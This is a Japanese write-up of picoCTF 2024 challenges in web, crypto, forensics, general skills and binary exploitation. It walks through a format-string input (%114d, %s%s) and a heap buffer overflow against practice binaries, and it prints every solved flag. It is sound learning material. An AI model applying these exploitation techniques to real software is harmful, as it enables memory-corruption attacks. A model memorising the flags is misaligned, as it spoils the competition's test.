picoCTF2024 writeup

開催期間:2024/3/13 1:00am ~ 2024/3/27 4:00am

自分で説いた問題だけ。

Web

WebDecode(50pt)

Do you know how to use the web inspector?
Start searching here to find the flag

リンク飛んでみると、

「HOME」「ABOUT」「CONTACT」がある。

それぞれのソースコードを見ていくと「ABOUT」のソースコードに怪しげな文字列がある。

cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMTBmOTM3NmZ9

CyberChefでデコードしてみるとbase64でフラグが得られた。

picoCTF{web_succ3ssfully_d3c0ded_10f9376f}

Unminify(100pt)

I don't like scrolling down to read the code of my website, so I've squished it. As a bonus, my pages load faster!
Browse here, and find the flag!

とりあえずリンク飛んでみる。

ソースコード見ても怪しそうなものはない。

curlコマンドでリクエスト送ってみるか」と思いやったところビンゴ。

picoCTF{pr3tty_c0d3_ed938a7e}

 

Cryptgraphy

interencode(50pt)

Can you get the real meaning from this file.
Download the file here.

ダウンロードファイルの中身見てみる。

YidkM0JxZGtwQlRYdHFhR3g2YUhsZmF6TnFlVGwzWVROclh6YzRNalV3YUcxcWZRPT0nCg==

末尾に「==」があるからいったんbase64でデコードしてみる。

$cat a.py
import base64
encoded_string = "YidkM0JxZGtwQlRYdHFhR3g2YUhsZmF6TnFlVGwzWVROclh6YzRNalV3YUcxcWZRPT0nCg=="
decoded_bytes = base64.b64decode(encoded_string)
decoded_string = decoded_bytes.decode('utf-8')
print(decoded_string)
    
$python3 a.py
b'd3BqdkpBTXtqaGx6aHlfazNqeTl3YTNrXzc4MjUwaG1qfQ=='

Pythonのバイト文字列が得られたのでもう1回デコード

$cat b.py
import base64
encoded_string = b'd3BqdkpBTXtqaGx6aHlfazNqeTl3YTNrXzc4MjUwaG1qfQ=='
decoded_string = base64.b64decode(encoded_string).decode('utf-8')
print(decoded_string)

$python3 b.py
wpjvJAM{jhlzhy_k3jy9wa3k_78250hmj}

ここまでこればROTで合わせれば出るでしょう。

ROT19でフラグ見えた。

picoCTF{caesar_d3cr9pt3d_78250afc}

 

Forensics

Scan Surprise(50pt)

I've gotten bored of handing out flags as text. Wouldn't it be cool if they were an image instead?
You can download the challenge files here:
challenge.zip

launchしたらsshのコマンドが見えるようになるけど、

zipファイルを解凍してみるとQRコードがあるのでそれを読み込んでみるとフラグがでてくる。

picoCTF{p33k_@_b00_b5ce2572}

Verify(50pt)

People keep trying to trick my players with imitation flags. I want to make sure they get the real thing! I'm going to provide the SHA-256 hash and a decrypt script to help you know that my flags are legitimate.
You can download the challenge files here:
challenge.zip
The same files are accessible via SSH here:
ssh -p 64446 ctf-player@rhea.picoctf.net
Using the password 1ad5be0d. Accept the fingerprint with yes, and ls once connected to begin. Remember, in a shell, passwords are hidden!
Checksum: 5848768e56185707f76c1d74f34f4e03fb0573ecc1ca7b11238007226654bcda
To decrypt the file once you've verified the hash, run ./decrypt.sh files/<file>.

launchしてsshで接続してみる。

files以下にtextファイルがたくさんある。

sha256で復号してみてChecksumと同じ文字列を探す。

$sha256sum files/* | grep 5848768e56185707f76c1d74f34f4e03fb0573ecc1ca7b11238007226654bcda
5848768e56185707f76c1d74f34f4e03fb0573ecc1ca7b11238007226654bcda  files/8eee7195

「8eee7195」と一致したのでシェルスクリプトを実行。

$./decrypt.sh files/8eee7195
picoCTF{trust_but_verify_8eee7195}

picoCTF{trust_but_verify_8eee7195}

 

CanYouSee(100pt)

How about some hide and seek?
Download this file here.

zipファイル解凍したらjpgが出てくる

写真見ても何もわからない

qiita.com

こういう時にこのサイト見てForensics解けばほぼできる。(笑)

1番最初にexiftoolでjpg見てみる。

$exiftool ukn_reality.jpg
ExifTool Version Number         : 12.40
File Name                       : ukn_reality.jpg
Directory                       : .
File Size                       : 2.2 MiB
File Modification Date/Time     : 2024:02:16 07:40:17+09:00
File Access Date/Time           : 2024:03:23 00:03:48+09:00
File Inode Change Date/Time     : 2024:03:13 18:59:09+09:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
XMP Toolkit                     : Image::ExifTool 11.88
Attribution URL                 : cGljb0NURntNRTc0RDQ3QV9ISUREM05fNGRhYmRkY2J9Cg==
Image Width                     : 4308
Image Height                    : 2875
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 4308x2875
Megapixels                      : 12.4

怪しい文字列発見

cGljb0NURntNRTc0RDQ3QV9ISUREM05fNGRhYmRkY2J9Cg==

base64でデコードしてみるとゲット

picoCTF{ME74D47A_HIDD3N_4dabddcb}

 

Secret of the Polyglot(100pt)

The Network Operations Center (NOC) of your local institution picked up a suspicious file, they're getting conflicting information on what type of file it is. They've brought you in as an external expert to examine the file. Can you extract all the information from this strange file?
Download the suspicious file here.

pdfとpngファイルがあるので開いてみる。

flag2of2-final.pngにはフラグの前半部分が書いてある。

flag2of2-final.pdfにはフラグの後半部分が書いてある。

※pdfファイルはadobeなどのツールだと開けないのでChromeかEgdeで開くとフラグが見れる。

合体すると

picoctf{f1u3n7_1n_pn9_&_pdf_249d05c0}

 

General Skills

Time Machine(50pt)

What was I last working on? I remember writing a note to help me remember...
You can download the challenge files here:
challenge.zip

とりあえずzipファイル解凍してみると

$cat message.txt
This is what I was working on, but I'd need to look at my commit history to know why...

見えなかった。

ヒント見ると、

https://primer.picoctf.org/#_git_version_control

にgitコマンドがいろいろ書いてある。

$git log
commit b92bdd8ec87a21ba45e77bd9bed3e4893faafd0f (HEAD -> master)
Author: picoCTF <ops@picoctf.com>
Date:   Sat Mar 9 21:10:29 2024 +0000

    picoCTF{t1m3m@ch1n3_5cde9075}

「git log」で見えた。

picoCTF{t1m3m@ch1n3_5cde9075}

Blame Game(75pt)

Someone's commits seems to be preventing the program from working. Who is it?
You can download the challenge files here:
challenge.zip

zipファイル解凍していろいろやってみたが、わからなかったのでヒント見てみた。

前問と同じようにgit logコマンドを打ってみるが、引数に「message.py」を指定するとフラグが見える。

$git log message.py
commit fadeca9476b6713ec8cdda633aca9e9aebffc698
Author: picoCTF{@sk_th3_1nt3rn_e9957ce1} <ops@picoctf.com>
Date:   Sat Mar 9 21:09:11 2024 +0000

    optimize file size of prod code

commit 2dd46769e2d65656bb14aed0ff5d3237daaa7d9d
Author: picoCTF <ops@picoctf.com>
Date:   Sat Mar 9 21:09:11 2024 +0000

    create top secret project

picoCTF{@sk_th3_1nt3rn_e9957ce1}

Collaborative Development(75pt)

My team has been working very hard on new features for our flag printing program! I wonder how they'll work together?
You can download the challenge files here:
challenge.zip

zipファイル解凍してみて、pythonファイル見てみると

print("Printing the flag...")

つまり、何らかの操作をしたらここにフラグが書き込まれるっぽい。

ヒント見てみると、git branchしてブランチの中身をmainブランチにマージしてフラグを得るという方向性が定まった。

$git branch -a
  feature/part-1
  feature/part-2
  feature/part-3
* main
$git checkout main
$git merge feature/part-1
Merge made by the 'ort' strategy.
 flag.py | 1 +
 1 file changed, 1 insertion(+)
$cat flag.py
print("Printing the flag...")
print("picoCTF{t3@mw0rk_", end='')

feature/part-2,3も同様にやっていけばいい。

※注意点として1つのブランチをマージした後はコミットすること。

$cat flag.py
print("Printing the flag...")
<<<<<<< HEAD
<<<<<<< HEAD
print("picoCTF{t3@mw0rk_", end='')
=======

print("m@k3s_th3_dr3@m_", end='')
>>>>>>> feature/part-2
=======

print("w0rk_7ffa0077}")
>>>>>>> feature/part-3

picoCTF{t3@mw0rk_m@k3s_th3_dr3@m_w0rk_7ffa0077}


binhexa(100pt)

nc titan.picoctf.net 50971

とりあえずncでアクセスしてみる。

$nc titan.picoctf.net 50971

Welcome to the Binary Challenge!"
Your task is to perform the unique operations in the given order and find the final result in hexadecimal that yields the flag.

Binary Number 1: 10100001
Binary Number 2: 10110011

6つの質問に全て正解するとフラグが得られるらしい

Question 1/6:
Operation 1: '&'
Perform the operation on Binary Number 1&2.
Enter the binary result: 10100001
Correct!

Question 2/6:
Operation 2: '>>'
Perform a right shift of Binary Number 2 by 1 bits .
Enter the binary result: 01011001
Correct!

Question 3/6:
Operation 3: '+'
Perform the operation on Binary Number 1&2.
Enter the binary result: 101010100
Correct!

Question 4/6:
Operation 4: '|'
Perform the operation on Binary Number 1&2.
Enter the binary result: 10110011
Correct!

Question 5/6:
Operation 5: '<<'
Perform a left shift of Binary Number 1 by 1 bits.

Enter the binary result: 101000010
Correct!

Question 6/6:
Operation 6: '*'
Perform the operation on Binary Number 1&2.
Enter the binary result: 111000010010011
Correct!

Incorrect answer!

Enter the results of the last operation in hexadecimal: 7093

Correct answer!
The flag is: picoCTF{b1tw^3se_0p3eR@tI0n_su33essFuL_6ab1ad84}

picoCTF{b1tw^3se_0p3eR@tI0n_su33essFuL_6ab1ad84}

※再びアクセスしてみるとBinaryNumberや問題の順番が変わってたりするのでご自身で解いてみてください!

Binary Search(100pt)

Want to play a game? As you use more of the shell, you might be interested in how they work! Binary search is a classic algorithm used to quickly find an item in a sorted list. Can you find the flag? You'll have 1000 possibilities and only 10 guesses.
Cyber security often has a huge amount of data to look through - from logs, vulnerability reports, and forensics. Practicing the fundamentals manually might help you in the future when you have to write your own tools!
You can download the challenge files here:
challenge.zip
Additional details will be available after launching your challenge instance.

launchしてsshでアクセスしてみる。

問題文にもあるように10回の探索で(おそらく)0~1000までの数を当てるとフラグが得られる。

$ssh -p 63620 ctf-player@atlas.picoctf.net
The authenticity of host '[atlas.picoctf.net]:63620 ([18.217.83.136]:63620)' can't be established.
ED25519 key fingerprint is SHA256:M8hXanE8l/Yzfs8iuxNsuFL4vCzCKEIlM/3hpO13tfQ.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:4: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[atlas.picoctf.net]:63620' (ED25519) to the list of known hosts.
ctf-player@atlas.picoctf.net's password:
Welcome to the Binary Search Game!
I'm thinking of a number between 1 and 1000.
Enter your guess: 500
Lower! Try again.
Enter your guess: 250
Lower! Try again.
Enter your guess: 125
Lower! Try again.
Enter your guess: 70
Higher! Try again.
Enter your guess: 90
Lower! Try again.
Enter your guess: 80
Congratulations! You guessed the correct number: 80
Here's your flag: picoCTF{g00d_gu355_3af33d18}
Connection to atlas.picoctf.net closed.

2¹⁰=1024なので2分探索をすれば最大10回で見つかるのです。

picoCTF{g00d_gu355_3af33d18}

 

endianness(200pt)

Know of little and big endian?
Additional details will be available after launching your challenge instance.

launchしてncでアクセスする。

トルエンディアンとビックエンディアンを答える問題

$nc titan.picoctf.net 59731
Welcome to the Endian CTF!
You need to find both the little endian and big endian representations of a word.
If you get both correct, you will receive the flag.
Word: ubqro
Enter the Little Endian representation: 6F72716275
Correct Little Endian representation!
Enter the Big Endian representation: 756271726F
Correct Big Endian representation!
Congratulations! You found both endian representations correctly!
Your Flag is: picoCTF{3ndi4n_sw4p_su33ess_817b7cfe}

picoCTF{3ndi4n_sw4p_su33ess_817b7cfe}

 

Binary Exploitation

format string 0(50pt)

Can you use your knowledge of format strings to make the customers happy?
Download the binary here.
Download the source here.
Additional details will be available after launching your challenge instance.

launchして、ncでアクセス。

3つのバーガーの中から1つ入力してその質問を2問連続で正解したらフラグが得られる。(PatrickとBobを喜ばせようww)

以下ソースコード(format-string-0.c)

#include 
#include 
#include 
#include 
#include 
#include <sys/types.h>

#define BUFSIZE 32
#define FLAGSIZE 64

char flag[FLAGSIZE];

void sigsegv_handler(int sig) {
    printf("\n%s\n", flag);
    fflush(stdout);
    exit(1);
}

int on_menu(char *burger, char *menu[], int count) {
    for (int i = 0; i < count; i++) {
        if (strcmp(burger, menu[i]) == 0)
            return 1;
    }
    return 0;
}

void serve_patrick();

void serve_bob();


int main(int argc, char **argv){
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        printf("%s %s", "Please create 'flag.txt' in this directory with your",
                        "own debugging flag.\n");
        exit(0);
    }

    fgets(flag, FLAGSIZE, f);
    signal(SIGSEGV, sigsegv_handler);

    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    serve_patrick();
  
    return 0;
}

void serve_patrick() {
    printf("%s %s\n%s\n%s %s\n%s",
            "Welcome to our newly-opened burger place Pico 'n Patty!",
            "Can you help the picky customers find their favorite burger?",
            "Here comes the first customer Patrick who wants a giant bite.",
            "Please choose from the following burgers:",
            "Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
            "Enter your recommendation: ");
    fflush(stdout);

    char choice1[BUFSIZE];
    scanf("%s", choice1);
    char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};
    if (!on_menu(choice1, menu1, 3)) {
        printf("%s", "There is no such burger yet!\n");
        fflush(stdout);
    } else {
        int count = printf(choice1);
        if (count > 2 * BUFSIZE) {
            serve_bob();
        } else {
            printf("%s\n%s\n",
                    "Patrick is still hungry!",
                    "Try to serve him something of larger size!");
            fflush(stdout);
        }
    }
}

void serve_bob() {
    printf("\n%s %s\n%s %s\n%s %s\n%s",
            "Good job! Patrick is happy!",
            "Now can you serve the second customer?",
            "Sponge Bob wants something outrageous that would break the shop",
            "(better be served quick before the shop owner kicks you out!)",
            "Please choose from the following burgers:",
            "Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak",
            "Enter your recommendation: ");
    fflush(stdout);

    char choice2[BUFSIZE];
    scanf("%s", choice2);
    char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};
    if (!on_menu(choice2, menu2, 3)) {
        printf("%s", "There is no such burger yet!\n");
        fflush(stdout);
    } else {
        printf(choice2);
        fflush(stdout);
    }
}  
$nc mimas.picoctf.net 49825
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr                                                                                                           4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_c8362f05}

1つ目の質問は、BUFSIZE(=32)*2=64(文字)よりも長い文字数のバーガーを選ぶ

ここで2つ目のバーガー「Gr%114d_Cheese」に注目する。

これは、printfで出力すると「%114d」が114文字分の空白を出力することななる。

つまり、この3つのバーガーの中で選ぶのは「Gr%114d_Cheese」となる。

2つ目の質問は、おそらくバッファオーバフローを起こして、

隠れたフラグを見えるようにするということだろう。

c言語の%sは文字列の出力が行われるのでCheの後ろにフラグが出力されていうのが分かる。

picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_c8362f05}

 

heap 0(50pt)

Are overflows just a stack concern?
Download the binary here.
Download the source here.
Additional details will be available after launching your challenge instance.

launchしてncでアクセス。

ソースコード見た感じ、バッファオーバフロー起こせばいい

以下ソースコード(chall.c)

#include 
#include 
#include 

#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5

int num_allocs;
char *safe_var;
char *input_data;

void check_win() {
    if (strcmp(safe_var, "bico") != 0) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

void print_menu() {
    printf("\n1. Print Heap:\t\t(print the current state of the heap)"
           "\n2. Write to buffer:\t(write to your own personal block of data "
           "on the heap)"
           "\n3. Print safe_var:\t(I'll even let you look at my variable on "
           "the heap, "
           "I'm confident it can't be modified)"
           "\n4. Print Flag:\t\t(Try to print the flag, good luck)"
           "\n5. Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {
    printf("\nWelcome to heap0!\n");
    printf(
        "I put my data on the heap so it should be safe from any tampering.\n");
    printf("Since my data isn't on the stack I'll even let you write whatever "
           "info you want to the heap, I already took care of using malloc for "
           "you.\n\n");
    fflush(stdout);
    input_data = malloc(INPUT_DATA_SIZE);
    strncpy(input_data, "pico", INPUT_DATA_SIZE);
    safe_var = malloc(SAFE_VAR_SIZE);
    strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

void print_heap() {
    printf("Heap State:\n");
    printf("+-------------+----------------+\n");
    printf("[*] Address   ->   Heap Data   \n");
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", safe_var, safe_var);
    printf("+-------------+----------------+\n");
    fflush(stdout);
}

int main(void) {

    // Setup
    init();
    print_heap();

    int choice;

    while (1) {
        print_menu();
        int rval = scanf("%d", &choice);
        if (rval == EOF){
            exit(0);
        }
        if (rval != 1) {
            //printf("Invalid input. Please enter a valid choice.\n");
            //fflush(stdout);
            // Clear input buffer
            //while (getchar() != '\n');
            //continue;
            exit(0);
        }

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print safe_var
            printf("\n\nTake a look at my variable: safe_var = %s\n\n",
                   safe_var);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

とりあえずやってみる

$nc tethys.picoctf.net 61026

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x55fa48c272b0  ->   pico
+-------------+----------------+
[*]   0x55fa48c272d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x55fa48c272b0  ->   pico
+-------------+----------------+
[*]   0x55fa48c272d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 2
Data for buffer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 3


Take a look at my variable: safe_var = a


1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 44
Invalid choice

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
picoCTF{my_first_heap_overflow_1ad0e1a6}

1~5の入力を受け付けて、それ以外の番号を入れると再入力を求められる。

2を入れると「pico」が入っているバッファを書き換えることができる。

このバッファは32bitなので32文字目まで入り、あふれるとbicoが書き換わる。

ソースコードからbicoが書き換わればフラグが得られそうなので、

入力で以下のようにすればいい。

Enter your choice: 2
Data for buffer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

picoCTF{my_first_heap_overflow_1ad0e1a6}